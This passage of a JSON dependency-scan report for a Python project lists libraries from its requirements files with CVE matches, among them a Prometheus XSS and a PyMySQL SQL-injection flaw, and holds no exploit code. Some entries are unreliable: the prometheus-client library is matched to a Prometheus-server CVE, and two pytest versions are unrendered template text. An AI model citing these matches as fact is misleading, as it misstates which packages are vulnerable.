              "url": "https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=CVE-2019-3826",
              "name": "ISSUE_TRACKING,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/github.com\/prometheus\/prometheus\/pull\/5163",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rdf2a0d94c3b5b523aeff7741ae71347415276062811b687f30ea6573%40%3Ccommits.zookeeper.apache.org%3E"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r8e3f7da12bf5750b0a02e69a78a61073a2ac950eed7451ce70a65177%40%3Ccommits.zookeeper.apache.org%3E"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/access.redhat.com\/errata\/RHBA-2019:0327",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/advisory.checkmarx.net\/advisory\/CX-2019-4297"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/github.com\/prometheus\/prometheus\/commit\/62e591f9",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r48d5019bd42e0770f7e5351e420a63a41ff1f16924942442c6aff6a8%40%3Ccommits.zookeeper.apache.org%3E"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true",
                "versionEndExcluding": "2.7.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:redhat:openshift_container_platform:3.11:*:*:*:*:*:*:*"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "prometheus-client:0.20.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:prometheus-client\/0.20.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "prometheus-client"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "prometheus-client"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "0.20.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/prometheus-client@0.20.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/prometheus-client@0.20.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:prometheus:prometheus:0.20.0:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Aprometheus&cpe_product=cpe%3A%2F%3Aprometheus%3Aprometheus&cpe_version=cpe%3A%2F%3Aprometheus%3Aprometheus%3A0.20.0"
        }
      ],
      "vulnerabilities": [
        {
          "source": "NVD",
          "name": "CVE-2019-3826",
          "severity": "MEDIUM",
          "cvssv2": {
            "score": 4.3,
            "accessVector": "NETWORK",
            "accessComplexity": "MEDIUM",
            "authenticationr": "NONE",
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "availabilityImpact": "NONE",
            "severity": "MEDIUM",
            "version": "2.0",
            "exploitabilityScore": "8.6",
            "impactScore": "2.9",
            "userInteractionRequired": "true"
          },
          "cvssv3": {
            "baseScore": 6.1,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "exploitabilityScore": "2.8",
            "impactScore": "2.7",
            "version": "3.0"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "A stored, DOM based, cross-site scripting (XSS) flaw was found in Prometheus before version 2.7.1. An attacker could exploit this by convincing an authenticated user to visit a crafted URL on a Prometheus server, allowing for the execution and persistent storage of arbitrary scripts.",
          "notes": "",
          "references": [
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=CVE-2019-3826",
              "name": "ISSUE_TRACKING,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/github.com\/prometheus\/prometheus\/pull\/5163",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/rdf2a0d94c3b5b523aeff7741ae71347415276062811b687f30ea6573%40%3Ccommits.zookeeper.apache.org%3E"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r8e3f7da12bf5750b0a02e69a78a61073a2ac950eed7451ce70a65177%40%3Ccommits.zookeeper.apache.org%3E"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/access.redhat.com\/errata\/RHBA-2019:0327",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/advisory.checkmarx.net\/advisory\/CX-2019-4297"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/github.com\/prometheus\/prometheus\/commit\/62e591f9",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "secalert@redhat.com",
              "url": "https:\/\/lists.apache.org\/thread.html\/r48d5019bd42e0770f7e5351e420a63a41ff1f16924942442c6aff6a8%40%3Ccommits.zookeeper.apache.org%3E"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true",
                "versionEndExcluding": "2.7.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:redhat:openshift_container_platform:3.11:*:*:*:*:*:*:*"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "psutil:5.9.5",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:psutil\/5.9.5",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "psutil"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "psutil"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "5.9.5"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/psutil@5.9.5",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/psutil@5.9.5?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:psutil_project:psutil:5.9.5:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Apsutil_project&cpe_product=cpe%3A%2F%3Apsutil_project%3Apsutil&cpe_version=cpe%3A%2F%3Apsutil_project%3Apsutil%3A5.9.5"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "psutil:5.9.5",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:psutil\/5.9.5",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "psutil"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "psutil"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "5.9.5"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/psutil@5.9.5",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/psutil@5.9.5?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:psutil_project:psutil:5.9.5:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Apsutil_project&cpe_product=cpe%3A%2F%3Apsutil_project%3Apsutil&cpe_version=cpe%3A%2F%3Apsutil_project%3Apsutil%3A5.9.5"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "psutil:5.9.5",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:psutil\/5.9.5",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "psutil"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "psutil"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "5.9.5"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/psutil@5.9.5",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/psutil@5.9.5?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:psutil_project:psutil:5.9.5:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Apsutil_project&cpe_product=cpe%3A%2F%3Apsutil_project%3Apsutil&cpe_version=cpe%3A%2F%3Apsutil_project%3Apsutil%3A5.9.5"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "psutil:5.9.5",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:psutil\/5.9.5",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "psutil"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "psutil"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "5.9.5"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/psutil@5.9.5",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/psutil@5.9.5?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:psutil_project:psutil:5.9.5:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Apsutil_project&cpe_product=cpe%3A%2F%3Apsutil_project%3Apsutil&cpe_version=cpe%3A%2F%3Apsutil_project%3Apsutil%3A5.9.5"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "psycopg2:2.8.3",
      "filePath": "\/builds\/mr\/little_brother\/etc\/postgres\/requirements.txt:psycopg2\/2.8.3",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "psycopg2"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "psycopg2"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.8.3"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/psycopg2@2.8.3",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/psycopg2@2.8.3?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "pyjwt:2.8.0",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:pyjwt\/2.8.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "pyjwt"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "pyjwt"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.8.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/pyjwt@2.8.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/pyjwt@2.8.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:pyjwt_project:pyjwt:2.8.0:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Apyjwt_project&cpe_product=cpe%3A%2F%3Apyjwt_project%3Apyjwt&cpe_version=cpe%3A%2F%3Apyjwt_project%3Apyjwt%3A2.8.0"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "pyjwt:2.8.0",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:pyjwt\/2.8.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "pyjwt"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "pyjwt"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.8.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/pyjwt@2.8.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/pyjwt@2.8.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:pyjwt_project:pyjwt:2.8.0:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Apyjwt_project&cpe_product=cpe%3A%2F%3Apyjwt_project%3Apyjwt&cpe_version=cpe%3A%2F%3Apyjwt_project%3Apyjwt%3A2.8.0"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "pyjwt:2.8.0",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:pyjwt\/2.8.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "pyjwt"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "pyjwt"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.8.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/pyjwt@2.8.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/pyjwt@2.8.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:pyjwt_project:pyjwt:2.8.0:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Apyjwt_project&cpe_product=cpe%3A%2F%3Apyjwt_project%3Apyjwt&cpe_version=cpe%3A%2F%3Apyjwt_project%3Apyjwt%3A2.8.0"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "pyjwt:2.8.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:pyjwt\/2.8.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "pyjwt"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "pyjwt"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.8.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/pyjwt@2.8.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/pyjwt@2.8.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilityIds": [
        {
          "id": "cpe:2.3:a:pyjwt_project:pyjwt:2.8.0:*:*:*:*:*:*:*",
          "confidence": "HIGHEST",
          "url": "https:\/\/nvd.nist.gov\/vuln\/search\/results?form_type=Advanced&results_type=overview&search_type=all&cpe_vendor=cpe%3A%2F%3Apyjwt_project&cpe_product=cpe%3A%2F%3Apyjwt_project%3Apyjwt&cpe_version=cpe%3A%2F%3Apyjwt_project%3Apyjwt%3A2.8.0"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "pymysql:1.1.0",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:pymysql\/1.1.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "pymysql"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "pymysql"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "1.1.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/pymysql@1.1.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/pymysql@1.1.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-36039",
          "severity": "CRITICAL",
          "cvssv3": {
            "baseScore": 9.800000190734863,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "availabilityImpact": "HIGH",
            "baseSeverity": "CRITICAL",
            "version": "3.1"
          },
          "cwes": [
            "CWE-89"
          ],
          "description": "PyMySQL through 1.1.0 allows SQL injection if used with untrusted JSON input because keys are not escaped by escape_dict.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-36039",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-36039"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/advisories\/GHSA-v9hf-5j83-6xpp",
              "name": "https:\/\/github.com\/advisories\/GHSA-v9hf-5j83-6xpp"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-36039?component-type=pypi&component-name=pymysql&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-36039] CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:pymysql:1.1.0:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "pymysql:1.1.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:pymysql\/1.1.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "pymysql"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "pymysql"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "1.1.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/pymysql@1.1.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/pymysql@1.1.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-36039",
          "severity": "CRITICAL",
          "cvssv3": {
            "baseScore": 9.800000190734863,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "availabilityImpact": "HIGH",
            "baseSeverity": "CRITICAL",
            "version": "3.1"
          },
          "cwes": [
            "CWE-89"
          ],
          "description": "PyMySQL through 1.1.0 allows SQL injection if used with untrusted JSON input because keys are not escaped by escape_dict.",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-36039",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-36039"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/advisories\/GHSA-v9hf-5j83-6xpp",
              "name": "https:\/\/github.com\/advisories\/GHSA-v9hf-5j83-6xpp"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-36039?component-type=pypi&component-name=pymysql&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-36039] CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:pymysql:1.1.0:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "pytest",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/python_base_app\/test\/resources\/ci_toolbox\/requirements.txt:pytest\/null",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "pytest"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "pytest"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "$enc.json($evidence.getValue().trim())"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/pytest",
          "confidence": "HIGHEST"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "pytest",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/python_base_app\/test\/resources\/ci_toolbox\/requirements.txt:pytest\/null",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "pytest"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "pytest"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "$enc.json($evidence.getValue().trim())"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/pytest",
          "confidence": "HIGHEST"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "pytest:7.4.2",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/requirements.txt:pytest\/7.4.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "pytest"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "pytest"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "7.4.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/pytest@7.4.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/pytest@7.4.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "pytest:7.4.2",
      "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/requirements.txt:pytest\/7.4.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "pytest"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "pytest"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "7.4.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/pytest@7.4.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/pytest@7.4.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "pytest:7.4.2",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:pytest\/7.4.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "pytest"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "pytest"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "7.4.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/pytest@7.4.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/pytest@7.4.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "pytest:7.4.2",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:pytest\/7.4.2",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "pytest"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "pytest"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "7.4.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/pytest@7.4.2",
          "confidence": "HIGHEST",
